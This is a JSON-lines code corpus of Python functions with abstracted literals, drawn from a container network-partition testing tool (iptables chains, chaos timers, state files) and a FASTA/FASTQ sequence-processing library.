{"signature": "def cmd_events(opts):", "body": "config = load_config(opts.config)<EOL>b = get_blockade(config, opts)<EOL>if opts.json:<EOL><INDENT>outf = None<EOL>_write = puts<EOL>if opts.output is not None:<EOL><INDENT>outf = open(opts.output, \"<STR_LIT:w>\")<EOL>_write = outf.write<EOL><DEDENT>try:<EOL><INDENT>delim = \"<STR_LIT>\"<EOL>logs = b.get_audit().read_logs(as_json=False)<EOL>_write('<STR_LIT>')<EOL>_write(os.linesep)<EOL>for l in logs:<EOL><INDENT>_write(delim + l)<EOL>delim = \"<STR_LIT:U+002C>\" + os.linesep<EOL><DEDENT>_write(os.linesep)<EOL>_write('<STR_LIT>')<EOL><DEDENT>finally:<EOL><INDENT>if opts.output is not None:<EOL><INDENT>outf.close()<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>puts(colored.blue(columns([\"<STR_LIT>\",         <NUM_LIT:10>],<EOL>[\"<STR_LIT>\",        <NUM_LIT:16>],<EOL>[\"<STR_LIT>\",         <NUM_LIT:8>],<EOL>[\"<STR_LIT>\",          <NUM_LIT:16>],<EOL>[\"<STR_LIT>\",       <NUM_LIT>])))<EOL>logs = b.get_audit().read_logs(as_json=True)<EOL>for l in logs:<EOL><INDENT>puts(columns([l['<STR_LIT>'],                          <NUM_LIT:10>],<EOL>[str([str(t) for t in l['<STR_LIT>']]), <NUM_LIT:16>],<EOL>[l['<STR_LIT:status>'],                          <NUM_LIT:8>],<EOL>[str(l['<STR_LIT>']),                 <NUM_LIT:16>],<EOL>[l['<STR_LIT:message>'],                        <NUM_LIT>]))<EOL><DEDENT><DEDENT>", "docstring": "Get the event log for a given blockade", "id": "f342:m26"}
{"signature": "def get_source_chains(self, blockade_id):", "body": "result = {}<EOL>if not blockade_id:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>lines = self.get_chain_rules(\"<STR_LIT>\")<EOL>for line in lines:<EOL><INDENT>parts = line.split()<EOL>if len(parts) < <NUM_LIT:4>:<EOL><INDENT>continue<EOL><DEDENT>try:<EOL><INDENT>partition_index = parse_partition_index(blockade_id, parts[<NUM_LIT:0>])<EOL><DEDENT>except ValueError:<EOL><INDENT>continue  <EOL><DEDENT>source = parts[<NUM_LIT:3>]<EOL>if source:<EOL><INDENT>result[source] = partition_index<EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "Get a map of blockade chains IDs -> list of IPs targeted at them\n\n        For figuring out which container is in which partition", "id": "f343:c2:m4"}
{"signature": "def insert_rule(self, chain, src=None, dest=None, target=None):", "body": "if not chain:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not target:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not (src or dest):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>args = [\"<STR_LIT>\", chain]<EOL>if src:<EOL><INDENT>args += [\"<STR_LIT>\", src]<EOL><DEDENT>if dest:<EOL><INDENT>args += [\"<STR_LIT>\", dest]<EOL><DEDENT>args += [\"<STR_LIT>\", target]<EOL>self.call(*args)<EOL>", "docstring": "Insert a new rule in the chain", "id": "f343:c2:m8"}
{"signature": "def create_chain(self, chain):", "body": "if not chain:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>self.call(\"<STR_LIT>\", chain)<EOL>", "docstring": "Create a new chain", "id": "f343:c2:m9"}
{"signature": "def clear(self, blockade_id):", "body": "<EOL>self.delete_blockade_rules(blockade_id)<EOL>self.delete_blockade_chains(blockade_id)<EOL>", "docstring": "Remove all iptables rules and chains related to this blockade", "id": "f343:c2:m10"}
{"signature": "def _sm_start(self, *args, **kwargs):", "body": "millisec = random.randint(self._start_min_delay, self._start_max_delay)<EOL>self._timer = threading.Timer(millisec / <NUM_LIT>, self.event_timeout)<EOL>self._timer.start()<EOL>", "docstring": "Start the timer waiting for pain", "id": "f345:c2:m11"}
{"signature": "def _sm_to_pain(self, *args, **kwargs):", "body": "_logger.info(\"<STR_LIT>\" % self._blockade_name)<EOL>self._do_blockade_event()<EOL>millisec = random.randint(self._run_min_time, self._run_max_time)<EOL>self._timer = threading.Timer(millisec / <NUM_LIT>, self.event_timeout)<EOL>self._timer.start()<EOL>", "docstring": "Start the blockade event", "id": "f345:c2:m12"}
{"signature": "def _sm_stop_from_no_pain(self, *args, **kwargs):", "body": "<EOL>_logger.info(\"<STR_LIT>\" % self._blockade_name)<EOL>self._timer.cancel()<EOL>", "docstring": "Stop chaos when there is no current blockade operation", "id": "f345:c2:m13"}
{"signature": "def _sm_relieve_pain(self, *args, **kwargs):", "body": "_logger.info(<EOL>\"<STR_LIT>\" % self._blockade_name)<EOL>self._do_reset_all()<EOL>millisec = random.randint(self._start_min_delay, self._start_max_delay)<EOL>self._timer = threading.Timer(millisec/<NUM_LIT>, self.event_timeout)<EOL>self._timer.start()<EOL>", "docstring": "End the blockade event and return to a steady state", "id": "f345:c2:m14"}
{"signature": "def _sm_stop_from_pain(self, *args, **kwargs):", "body": "_logger.info(\"<STR_LIT>\" % self._blockade_name)<EOL>self._do_reset_all()<EOL>", "docstring": "Stop chaos while there is a blockade event in progress", "id": "f345:c2:m15"}
{"signature": "def _sm_cleanup(self, *args, **kwargs):", "body": "if self._done_notification_func is not None:<EOL><INDENT>self._done_notification_func()<EOL><DEDENT>self._timer.cancel()<EOL>", "docstring": "Delete all state associated with the chaos session", "id": "f345:c2:m16"}
{"signature": "def _sm_stale_timer(self, *args, **kwargs):", "body": "_logger.debug(\"<STR_LIT>\")<EOL>", "docstring": "This is used when a cancel was called right before the timer fired but\nafter it was too late to cancel the timer.", "id": "f345:c2:m17"}
{"signature": "def expand_partitions(containers, partitions):", "body": "<EOL>all_names = frozenset(c.name for c in containers if not c.holy)<EOL>holy_names = frozenset(c.name for c in containers if c.holy)<EOL>neutral_names = frozenset(c.name for c in containers if c.neutral)<EOL>partitions = [frozenset(p) for p in partitions]<EOL>unknown = set()<EOL>holy = set()<EOL>union = set()<EOL>for partition in partitions:<EOL><INDENT>unknown.update(partition - all_names - holy_names)<EOL>holy.update(partition - all_names)<EOL>union.update(partition)<EOL><DEDENT>if unknown:<EOL><INDENT>raise BlockadeError('<STR_LIT>' %<EOL>list(unknown))<EOL><DEDENT>if holy:<EOL><INDENT>raise BlockadeError('<STR_LIT>' %<EOL>list(holy))<EOL><DEDENT>leftover = all_names.difference(union)<EOL>if leftover:<EOL><INDENT>partitions.append(leftover)<EOL><DEDENT>if not neutral_names.issubset(leftover):<EOL><INDENT>partitions.append(neutral_names)<EOL><DEDENT>return partitions<EOL>", "docstring": "Validate the partitions of containers. If there are any containers\nnot in any partition, place them in an new partition.", "id": "f350:m0"}
{"signature": "@property<EOL><INDENT>def blockade_net_name(self):<DEDENT>", "body": "return \"<STR_LIT>\" % self._blockade_id<EOL>", "docstring": "Generate blockade nework name based on the blockade_id", "id": "f351:c0:m2"}
{"signature": "@property<EOL><INDENT>def containers(self):<DEDENT>", "body": "return deepcopy(self._containers)<EOL>", "docstring": "Dictionary of container information", "id": "f351:c0:m3"}
{"signature": "def container_id(self, name):", "body": "container = self._containers.get(name, None)<EOL>if not container is None:<EOL><INDENT>return container.get('<STR_LIT:id>', None)<EOL><DEDENT>return None<EOL>", "docstring": "Try to find the container ID with the specified name", "id": "f351:c0:m4"}
{"signature": "def initialize(self, containers):", "body": "self._containers = deepcopy(containers)<EOL>self.__write(containers, initialize=True)<EOL>", "docstring": "Initialize a new state file with the given contents.\nThis function fails in case the state file already exists.", "id": "f351:c0:m5"}
{"signature": "def exists(self):", "body": "return os.path.isfile(self._state_file)<EOL>", "docstring": "Checks whether a blockade state file already exists", "id": "f351:c0:m6"}
{"signature": "def update(self, containers):", "body": "self._containers = deepcopy(containers)<EOL>self.__write(containers, initialize=False)<EOL>", "docstring": "Update the current state file with the specified contents", "id": "f351:c0:m7"}
{"signature": "def load(self):", "body": "try:<EOL><INDENT>with open(self._state_file) as f:<EOL><INDENT>state = yaml.safe_load(f)<EOL>self._containers = state['<STR_LIT>']<EOL><DEDENT><DEDENT>except (IOError, OSError) as err:<EOL><INDENT>if err.errno == errno.ENOENT:<EOL><INDENT>raise NotInitializedError(\"<STR_LIT>\")<EOL><DEDENT>raise InconsistentStateError(\"<STR_LIT>\"<EOL>+ str(err))<EOL><DEDENT>except Exception as err:<EOL><INDENT>raise InconsistentStateError(\"<STR_LIT>\"<EOL>+ str(err))<EOL><DEDENT>", "docstring": "Try to load a blockade state file in the current directory", "id": "f351:c0:m8"}
{"signature": "def destroy(self):", "body": "self._state_delete()<EOL>", "docstring": "Try to remove the current state file and directory", "id": "f351:c0:m9"}
{"signature": "def _get_blockade_id_from_cwd(self, cwd=None):", "body": "if not cwd:<EOL><INDENT>cwd = os.getcwd()<EOL><DEDENT>parent_dir = os.path.abspath(cwd)<EOL>basename = os.path.basename(parent_dir).lower()<EOL>blockade_id = re.sub(r\"<STR_LIT>\", \"<STR_LIT>\", basename)<EOL>if not blockade_id:  <EOL><INDENT>blockade_id = \"<STR_LIT:default>\"<EOL><DEDENT>return blockade_id<EOL>", "docstring": "Generate a new blockade ID based on the CWD", "id": "f351:c0:m10"}
{"signature": "def _assure_dir(self):", "body": "try:<EOL><INDENT>os.makedirs(self._state_dir)<EOL><DEDENT>except OSError as err:<EOL><INDENT>if err.errno != errno.EEXIST:<EOL><INDENT>raise<EOL><DEDENT><DEDENT>", "docstring": "Make sure the state directory exists", "id": "f351:c0:m11"}
{"signature": "def _state_delete(self):", "body": "try:<EOL><INDENT>os.remove(self._state_file)<EOL><DEDENT>except OSError as err:<EOL><INDENT>if err.errno not in (errno.EPERM, errno.ENOENT):<EOL><INDENT>raise<EOL><DEDENT><DEDENT>try:<EOL><INDENT>os.rmdir(self._state_dir)<EOL><DEDENT>except OSError as err:<EOL><INDENT>if err.errno not in (errno.ENOTEMPTY, errno.ENOENT):<EOL><INDENT>raise<EOL><DEDENT><DEDENT>", "docstring": "Try to delete the state.yml file and the folder .blockade", "id": "f351:c0:m12"}
{"signature": "def __base_state(self, containers):", "body": "return dict(blockade_id=self._blockade_id,<EOL>containers=containers,<EOL>version=self._state_version)<EOL>", "docstring": "Convert blockade ID and container information into\na state dictionary object.", "id": "f351:c0:m13"}
{"signature": "def __write(self, containers, initialize=True):", "body": "path = self._state_file<EOL>self._assure_dir()<EOL>try:<EOL><INDENT>flags = os.O_WRONLY | os.O_CREAT<EOL>if initialize:<EOL><INDENT>flags |= os.O_EXCL<EOL><DEDENT>with os.fdopen(os.open(path, flags), \"<STR_LIT:w>\") as f:<EOL><INDENT>yaml.safe_dump(self.__base_state(containers), f)<EOL><DEDENT><DEDENT>except OSError as err:<EOL><INDENT>if err.errno == errno.EEXIST:<EOL><INDENT>raise AlreadyInitializedError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\" % path)<EOL><DEDENT>raise<EOL><DEDENT>except Exception:<EOL><INDENT>self._state_delete()<EOL>raise<EOL><DEDENT>", "docstring": "Write the given state information into a file", "id": "f351:c0:m14"}
{"signature": "def select(options=None):", "body": "if not options:<EOL><INDENT>return None<EOL><DEDENT>width = len(str(len(options)))<EOL>for x,option in enumerate(options):<EOL><INDENT>sys.stdout.write('<STR_LIT>'.format(x+<NUM_LIT:1>,option, width=width))<EOL><DEDENT>sys.stdout.write('<STR_LIT>'.format('<STR_LIT>', width=width+<NUM_LIT:1>))<EOL>sys.stdout.flush()<EOL>if sys.stdin.isatty():<EOL><INDENT>try:<EOL><INDENT>response = input().strip()<EOL><DEDENT>except (EOFError, KeyboardInterrupt):<EOL><INDENT>response = '<STR_LIT>'<EOL><DEDENT><DEDENT>else:<EOL><INDENT>sys.stdin = open(\"<STR_LIT>\")<EOL>try:<EOL><INDENT>response = '<STR_LIT>'<EOL>while True:<EOL><INDENT>response += sys.stdin.read(<NUM_LIT:1>)<EOL>if response.endswith('<STR_LIT:\\n>'):<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT>except (EOFError, KeyboardInterrupt):<EOL><INDENT>sys.stdout.flush()<EOL>pass<EOL><DEDENT><DEDENT>try:<EOL><INDENT>response = int(response) - <NUM_LIT:1><EOL><DEDENT>except ValueError:<EOL><INDENT>return None<EOL><DEDENT>if response < <NUM_LIT:0> or response >= len(options):<EOL><INDENT>return None<EOL><DEDENT>return options[response]<EOL>", "docstring": "pass in a list of options, promt the user to select one, and return the selected option or None", "id": "f356:m0"}
{"signature": "def file_reader(fname, read_quals=False):", "body": "f = utils.open_file_read(fname)<EOL>line = f.readline()<EOL>phylip_regex = re.compile('<STR_LIT>')<EOL>gbk_regex = re.compile('<STR_LIT>')<EOL>if line.startswith('<STR_LIT:>>'):<EOL><INDENT>seq = Fasta()<EOL>previous_lines[f] = line<EOL><DEDENT>elif line.startswith('<STR_LIT>'):<EOL><INDENT>seq = Fasta()<EOL>while not line.startswith('<STR_LIT:>>'):<EOL><INDENT>line = f.readline()<EOL>if not line:<EOL><INDENT>utils.close(f)<EOL>raise Error('<STR_LIT>' + fname + '<STR_LIT:\">')<EOL><DEDENT><DEDENT>seq = Fasta()<EOL>previous_lines[f] = line<EOL><DEDENT>elif line.startswith('<STR_LIT>') and line[<NUM_LIT:5>] != '<STR_LIT:U+0020>':<EOL><INDENT>seq = Embl()<EOL>previous_lines[f] = line<EOL><DEDENT>elif gbk_regex.search(line):<EOL><INDENT>seq = Embl()<EOL>previous_lines[f] = line<EOL><DEDENT>elif line.startswith('<STR_LIT:@>'):<EOL><INDENT>seq = Fastq()<EOL>previous_lines[f] = line<EOL><DEDENT>elif phylip_regex.search(line):<EOL><INDENT>number_of_seqs, bases_per_seq = line.strip().split()<EOL>number_of_seqs = int(number_of_seqs)<EOL>bases_per_seq = int(bases_per_seq)<EOL>got_blank_line = False<EOL>first_line = line<EOL>seq_lines = []<EOL>while <NUM_LIT:1>:<EOL><INDENT>line = f.readline()<EOL>if line == '<STR_LIT>':<EOL><INDENT>break<EOL><DEDENT>elif line == '<STR_LIT:\\n>':<EOL><INDENT>got_blank_line = True<EOL><DEDENT>else:<EOL><INDENT>seq_lines.append(line.rstrip())<EOL><DEDENT><DEDENT>utils.close(f)<EOL>if len(seq_lines) == <NUM_LIT:1> or len(seq_lines) == number_of_seqs:<EOL><INDENT>sequential = True<EOL><DEDENT>elif seq_lines[<NUM_LIT:0>][<NUM_LIT:10>] != '<STR_LIT:U+0020>' and seq_lines[<NUM_LIT:1>][<NUM_LIT:10>] == '<STR_LIT:U+0020>':<EOL><INDENT>sequential = True<EOL><DEDENT>else:<EOL><INDENT>sequential = False<EOL><DEDENT>if sequential:<EOL><INDENT>current_id = None<EOL>current_seq = '<STR_LIT>'<EOL>for line in seq_lines:<EOL><INDENT>if len(current_seq) == bases_per_seq or len(current_seq) == <NUM_LIT:0>:<EOL><INDENT>if current_id is not None:<EOL><INDENT>yield Fasta(current_id, current_seq.replace('<STR_LIT:->', '<STR_LIT>'))<EOL><DEDENT>current_seq = '<STR_LIT>'<EOL>current_id, new_bases = line[<NUM_LIT:0>:<NUM_LIT:10>].rstrip(), line.rstrip()[<NUM_LIT:10>:]<EOL><DEDENT>else:<EOL><INDENT>new_bases = line.rstrip()<EOL><DEDENT>current_seq += new_bases.replace('<STR_LIT:U+0020>','<STR_LIT>')<EOL><DEDENT>yield Fasta(current_id, current_seq.replace('<STR_LIT:->', '<STR_LIT>'))<EOL><DEDENT>else:<EOL><INDENT>if seq_lines[number_of_seqs + <NUM_LIT:1>][<NUM_LIT:0>] == '<STR_LIT:U+0020>':<EOL><INDENT>first_gap_pos = seq_lines[<NUM_LIT:0>].find('<STR_LIT:U+0020>')<EOL>end_of_gap = first_gap_pos<EOL>while seq_lines[<NUM_LIT:0>][end_of_gap] == '<STR_LIT:U+0020>':<EOL><INDENT>end_of_gap += <NUM_LIT:1><EOL><DEDENT>first_seq_base = end_of_gap<EOL><DEDENT>else:<EOL><INDENT>first_seq_base = <NUM_LIT:10><EOL><DEDENT>seqs = []<EOL>for i in range(number_of_seqs):<EOL><INDENT>name, bases = seq_lines[i][<NUM_LIT:0>:first_seq_base].rstrip(), seq_lines[i][first_seq_base:]<EOL>seqs.append(Fasta(name, bases))<EOL><DEDENT>for i in range(number_of_seqs, len(seq_lines)):<EOL><INDENT>seqs[i%number_of_seqs].seq += seq_lines[i]<EOL><DEDENT>for fa in seqs:<EOL><INDENT>fa.seq = fa.seq.replace('<STR_LIT:U+0020>','<STR_LIT>').replace('<STR_LIT:->','<STR_LIT>')<EOL>yield fa<EOL><DEDENT><DEDENT>return<EOL><DEDENT>elif line == '<STR_LIT>':<EOL><INDENT>utils.close(f)<EOL>return<EOL><DEDENT>else:<EOL><INDENT>utils.close(f)<EOL>raise Error('<STR_LIT>' + fname + '<STR_LIT>' + line.rstrip())<EOL><DEDENT>try:<EOL><INDENT>while seq.get_next_from_file(f, read_quals):<EOL><INDENT>yield seq<EOL><DEDENT><DEDENT>finally:<EOL><INDENT>utils.close(f)<EOL><DEDENT>", "docstring": "Iterates over a FASTA or FASTQ file, yielding the next sequence in the file until there are no more sequences", "id": "f364:m0"}
{"signature": "def subseq(self, start, end):", "body": "return Fasta(self.id, self.seq[start:end])<EOL>", "docstring": "Returns Fasta object with the same name, of the bases from start to end, but not including end", "id": "f364:c1:m5"}
{"signature": "def split_capillary_id(self):", "body": "try:<EOL><INDENT>a = self.id.rsplit('<STR_LIT:.>', <NUM_LIT:1>)<EOL>if a[<NUM_LIT:1>].startswith('<STR_LIT:p>'):<EOL><INDENT>dir = '<STR_LIT>'<EOL><DEDENT>elif a[<NUM_LIT:1>].startswith('<STR_LIT:q>'):<EOL><INDENT>dir = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>dir = '<STR_LIT>'<EOL><DEDENT>return {'<STR_LIT>': a[<NUM_LIT:0>], '<STR_LIT>': dir, '<STR_LIT>':a[<NUM_LIT:1>]}<EOL><DEDENT>except:<EOL><INDENT>raise Error('<STR_LIT>', self.id)<EOL><DEDENT>", "docstring": "Gets the prefix and suffix of an name of a capillary read, e.g. xxxxx.p1k or xxxx.q1k. Returns a tuple (prefix, suffx)", "id": "f364:c1:m6"}
{"signature": "def expand_nucleotides(self):", "body": "s = list(self.seq)<EOL>for i in range(len(s)):<EOL><INDENT>if s[i] in redundant_nts:<EOL><INDENT>s[i] = '<STR_LIT>'.join(redundant_nts[s[i]])<EOL><DEDENT><DEDENT>seqs = []<EOL>for x in itertools.product(*s):<EOL><INDENT>seqs.append(Fasta(self.id + '<STR_LIT:.>' + str(len(seqs) + <NUM_LIT:1>), '<STR_LIT>'.join(x)))<EOL><DEDENT>return seqs<EOL>", "docstring": "Assumes sequence is nucleotides. Returns list of all combinations of redundant nucleotides. e.g. R is A or G, so CRT would have combinations CAT and CGT", "id": "f364:c1:m7"}
{"signature": "def strip_after_first_whitespace(self):", "body": "self.id = self.id.split()[<NUM_LIT:0>]<EOL>", "docstring": "Removes everything in the name after the first whitespace character", "id": "f364:c1:m8"}
{"signature": "def strip_illumina_suffix(self):", "body": "if self.id.endswith('<STR_LIT>') or self.id.endswith('<STR_LIT>'):<EOL><INDENT>self.id = self.id[:-<NUM_LIT:2>]<EOL><DEDENT>", "docstring": "Removes any trailing /1 or /2 off the end of the name", "id": "f364:c1:m9"}
{"signature": "def revcomp(self):", "body": "self.seq = self.seq.translate(str.maketrans(\"<STR_LIT>\", \"<STR_LIT>\"))[::-<NUM_LIT:1>]<EOL>", "docstring": "Reverse complements the sequence", "id": "f364:c1:m10"}
{"signature": "def is_all_Ns(self, start=<NUM_LIT:0>, end=None):", "body": "if end is not None:<EOL><INDENT>if start > end:<EOL><INDENT>raise Error('<STR_LIT>')<EOL><DEDENT>end += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>end = len(self)<EOL><DEDENT>if len(self) == <NUM_LIT:0>:<EOL><INDENT>return False<EOL><DEDENT>else:<EOL><INDENT>return re.search('<STR_LIT>', self.seq[start:end]) is None<EOL><DEDENT>", "docstring": "Returns true if the sequence is all Ns (upper or lower case)", "id": "f364:c1:m11"}
{"signature": "def trim_Ns(self):", "body": "self.seq = self.seq.strip('<STR_LIT>')<EOL>", "docstring": "Removes any leading or trailing N or n characters from the sequence", "id": "f364:c1:m12"}
{"signature": "def replace_bases(self, old, new):", "body": "self.seq = self.seq.replace(old, new)<EOL>", "docstring": "Replaces all occurrences of 'old' with 'new", "id": "f364:c1:m14"}
{"signature": "def replace_non_acgt(self):", "body": "self.seq = re.sub(r'''<STR_LIT>''', '<STR_LIT:N>', self.seq)<EOL>", "docstring": "Replace all non acgt characters with an N (case insensitive)", "id": "f364:c1:m15"}
{"signature": "def replace_interval(self, start, end, new):", "body": "if start > end or start > len(self) - <NUM_LIT:1> or end > len(self) - <NUM_LIT:1>:<EOL><INDENT>raise Error('<STR_LIT>' + str(start) + '<STR_LIT:->' + str(end) + '<STR_LIT>' + self.id)<EOL><DEDENT>self.seq = self.seq[<NUM_LIT:0>:start] + new + self.seq[end + <NUM_LIT:1>:]<EOL>", "docstring": "Replaces the sequence from start to end with the sequence \"new", "id": "f364:c1:m16"}
{"signature": "def gaps(self, min_length = <NUM_LIT:1>):", "body": "gaps = []<EOL>regex = re.compile('<STR_LIT>', re.IGNORECASE)<EOL>for m in regex.finditer(self.seq):<EOL><INDENT>if m.span()[<NUM_LIT:1>] - m.span()[<NUM_LIT:0>] + <NUM_LIT:1> >= min_length:<EOL><INDENT>gaps.append(intervals.Interval(m.span()[<NUM_LIT:0>], m.span()[<NUM_LIT:1>] - <NUM_LIT:1>))<EOL><DEDENT><DEDENT>return gaps<EOL>", "docstring": "Finds the positions of all gaps in the sequence that are at least min_length long. Returns a list of Intervals. Coords are zero-based", "id": "f364:c1:m17"}
{"signature": "def contig_coords(self):", "body": "<EOL>gaps = self.gaps()<EOL>if len(gaps) == <NUM_LIT:0>:<EOL><INDENT>return [intervals.Interval(<NUM_LIT:0>, len(self) - <NUM_LIT:1>)]<EOL><DEDENT>coords = [<NUM_LIT:0>]<EOL>for g in gaps:<EOL><INDENT>if g.start == <NUM_LIT:0>:<EOL><INDENT>coords = [g.end + <NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>coords += [g.start - <NUM_LIT:1>, g.end + <NUM_LIT:1>]<EOL><DEDENT><DEDENT>if coords[-<NUM_LIT:1>] < len(self):<EOL><INDENT>coords.append(len(self) - <NUM_LIT:1>)<EOL><DEDENT>return [intervals.Interval(coords[i], coords[i+<NUM_LIT:1>]) for i in range(<NUM_LIT:0>, len(coords)-<NUM_LIT:1>,<NUM_LIT:2>)]<EOL>", "docstring": "Finds coords of contigs, i.e. everything that's not a gap (N or n). Returns a list of Intervals. Coords are zero-based", "id": "f364:c1:m18"}
{"signature": "def orfs(self, frame=<NUM_LIT:0>, revcomp=False):", "body": "assert frame in [<NUM_LIT:0>,<NUM_LIT:1>,<NUM_LIT:2>]<EOL>if revcomp:<EOL><INDENT>self.revcomp()<EOL><DEDENT>aa_seq = self.translate(frame=frame).seq.rstrip('<STR_LIT:X>')<EOL>if revcomp:<EOL><INDENT>self.revcomp()<EOL><DEDENT>orfs = _orfs_from_aa_seq(aa_seq)<EOL>for i in range(len(orfs)):<EOL><INDENT>if revcomp:<EOL><INDENT>start = len(self) - (orfs[i].end * <NUM_LIT:3> + <NUM_LIT:3>) - frame<EOL>end = len(self) - (orfs[i].start * <NUM_LIT:3>) - <NUM_LIT:1> - frame<EOL><DEDENT>else:<EOL><INDENT>start = orfs[i].start * <NUM_LIT:3> + frame<EOL>end = orfs[i].end * <NUM_LIT:3> + <NUM_LIT:2> + frame<EOL><DEDENT>orfs[i] = intervals.Interval(start, end)<EOL><DEDENT>return orfs<EOL>", "docstring": "Returns a list of ORFs that the sequence has, starting on the given\n           frame. Each returned ORF is an interval.Interval object.\n           If revomp=True, then finds the ORFs of the reverse complement\n           of the sequence.", "id": "f364:c1:m19"}
{"signature": "def all_orfs(self, min_length=<NUM_LIT>):", "body": "orfs = []<EOL>for frame in [<NUM_LIT:0>,<NUM_LIT:1>,<NUM_LIT:2>]:<EOL><INDENT>for revcomp in [False, True]:<EOL><INDENT>orfs.extend([(t, revcomp) for t in self.orfs(frame=frame, revcomp=revcomp) if len(t)>=min_length])<EOL><DEDENT><DEDENT>return sorted(orfs, key=lambda t:t[<NUM_LIT:0>])<EOL>", "docstring": "Finds all open reading frames in the sequence, that are at least as\n           long as min_length. Includes ORFs on the reverse strand.\n           Returns a list of ORFs, where each element is a tuple:\n           (interval.Interval, bool)\n           where bool=True means on the reverse strand", "id": "f364:c1:m20"}
{"signature": "def is_complete_orf(self):", "body": "if len(self) %<NUM_LIT:3> != <NUM_LIT:0> or len(self) < <NUM_LIT:6>:<EOL><INDENT>return False<EOL><DEDENT>orfs = self.orfs()<EOL>complete_orf = intervals.Interval(<NUM_LIT:0>, len(self) - <NUM_LIT:1>)<EOL>for orf in orfs:<EOL><INDENT>if orf == complete_orf:<EOL><INDENT>return True<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Returns true iff length is >= 6, is a multiple of 3, and there is exactly one stop codon in the sequence and it is at the end", "id": "f364:c1:m21"}
{"signature": "def looks_like_gene(self):", "body": "return self.is_complete_orf()and len(self) >= <NUM_LIT:6>and len(self) %<NUM_LIT:3> == <NUM_LIT:0>and self.seq[<NUM_LIT:0>:<NUM_LIT:3>].upper() in genetic_codes.starts[genetic_code]<EOL>", "docstring": "Returns true iff: length >=6, length is a multiple of 3, first codon is start, last codon is a stop and has no other stop codons", "id": "f364:c1:m22"}
{"signature": "def make_into_gene(self):", "body": "for reverse in [True, False]:<EOL><INDENT>for frame in range(<NUM_LIT:3>):<EOL><INDENT>new_seq = copy.copy(self)<EOL>if reverse:<EOL><INDENT>new_seq.revcomp()<EOL><DEDENT>new_seq.seq = new_seq[frame:]<EOL>if len(new_seq) % <NUM_LIT:3>:<EOL><INDENT>new_seq.seq = new_seq.seq[:-(len(new_seq) % <NUM_LIT:3>)]<EOL><DEDENT>new_aa_seq = new_seq.translate()<EOL>if len(new_aa_seq) >= <NUM_LIT:2> and new_seq[<NUM_LIT:0>:<NUM_LIT:3>] in genetic_codes.starts[genetic_code] and new_aa_seq[-<NUM_LIT:1>] == '<STR_LIT:*>' and '<STR_LIT:*>' not in new_aa_seq[:-<NUM_LIT:1>]:<EOL><INDENT>strand = '<STR_LIT:->' if reverse else '<STR_LIT:+>'<EOL>return new_seq, strand, frame<EOL><DEDENT><DEDENT><DEDENT>return None<EOL>", "docstring": "Tries to make into a gene sequence. Tries all three reading frames and both strands. Returns a tuple (new sequence, strand, frame) if it was successful. Otherwise returns None.", "id": "f364:c1:m23"}
{"signature": "def trim(self, start, end):", "body": "self.seq = self.seq[start:len(self.seq) - end]<EOL>", "docstring": "Removes first 'start'/'end' bases off the start/end of the sequence", "id": "f364:c1:m27"}
{"signature": "def to_Fastq(self, qual_scores):", "body": "if len(self) != len(qual_scores):<EOL><INDENT>raise Error('<STR_LIT>', self.id)<EOL><DEDENT>return Fastq(self.id, self.seq, '<STR_LIT>'.join([chr(max(<NUM_LIT:0>, min(x, <NUM_LIT>)) + <NUM_LIT>) for x in qual_scores]))<EOL>", "docstring": "Returns a Fastq object. qual_scores expected to be a list of numbers, like you would get in a .qual file", "id": "f364:c1:m28"}
{"signature": "def search(self, search_string):", "body": "seq = self.seq.upper()<EOL>search_string = search_string.upper()<EOL>pos = <NUM_LIT:0><EOL>found = seq.find(search_string, pos)<EOL>hits = []<EOL>while found != -<NUM_LIT:1>:<EOL><INDENT>hits.append((found, '<STR_LIT:+>'))<EOL>pos = found + <NUM_LIT:1><EOL>found = seq.find(search_string, pos)<EOL><DEDENT>pos = <NUM_LIT:0><EOL>search_string = Fasta('<STR_LIT:x>', search_string)<EOL>search_string.revcomp()<EOL>search_string = search_string.seq<EOL>found = seq.find(search_string, pos)<EOL>while found != -<NUM_LIT:1>:<EOL><INDENT>hits.append((found, '<STR_LIT:->'))<EOL>pos = found + <NUM_LIT:1><EOL>found = seq.find(search_string, pos)<EOL><DEDENT>return hits<EOL>", "docstring": "Finds every occurrence (including overlapping ones) of the search_string, including on the reverse strand. Returns a list where each element is a tuple (position, strand) where strand is in ['-', '+']. Positions are zero-based", "id": "f364:c1:m29"}
{"signature": "def translate(self, frame=<NUM_LIT:0>):", "body": "return Fasta(self.id, '<STR_LIT>'.join([genetic_codes.codes[genetic_code].get(self.seq[x:x+<NUM_LIT:3>].upper(), '<STR_LIT:X>') for x in range(frame, len(self)-<NUM_LIT:1>-frame, <NUM_LIT:3>)]))<EOL>", "docstring": "Returns a Fasta sequence, translated into amino acids. Starts translating from 'frame', where frame expected to be 0,1 or 2", "id": "f364:c1:m30"}
{"signature": "def gc_content(self, as_decimal=True):", "body": "gc_total = <NUM_LIT:0.0><EOL>num_bases = <NUM_LIT:0.0><EOL>n_tuple = tuple('<STR_LIT>')<EOL>accepted_bases = tuple('<STR_LIT>')<EOL>for base, count in Counter(self.seq).items():<EOL><INDENT>if base not in n_tuple:<EOL><INDENT>num_bases += count<EOL>if base in accepted_bases:  <EOL><INDENT>gc_total += count<EOL><DEDENT><DEDENT><DEDENT>gc_content = gc_total / num_bases<EOL>if not as_decimal:  <EOL><INDENT>gc_content *= <NUM_LIT:100><EOL><DEDENT>return gc_content<EOL>", "docstring": "Returns the GC content for the sequence.\n        Notes:\n            This method ignores N when calculating the length of the sequence.\n            It does not, however ignore other ambiguous bases. It also only\n            includes the ambiguous base S (G or C). In this sense the method is\n            conservative with its calculation.\n\n        Args:\n            as_decimal (bool): Return the result as a decimal. Setting to False\n            will return as a percentage. i.e for the sequence GCAT it will\n            return 0.5 by default and 50.00 if set to 